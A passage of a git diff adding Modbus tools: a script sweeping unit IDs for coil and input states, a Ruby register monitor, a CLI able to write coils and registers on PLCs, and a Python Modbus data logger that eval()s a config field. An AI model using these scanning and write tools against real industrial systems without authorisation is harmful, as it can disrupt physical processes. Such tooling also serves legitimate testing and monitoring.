address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = 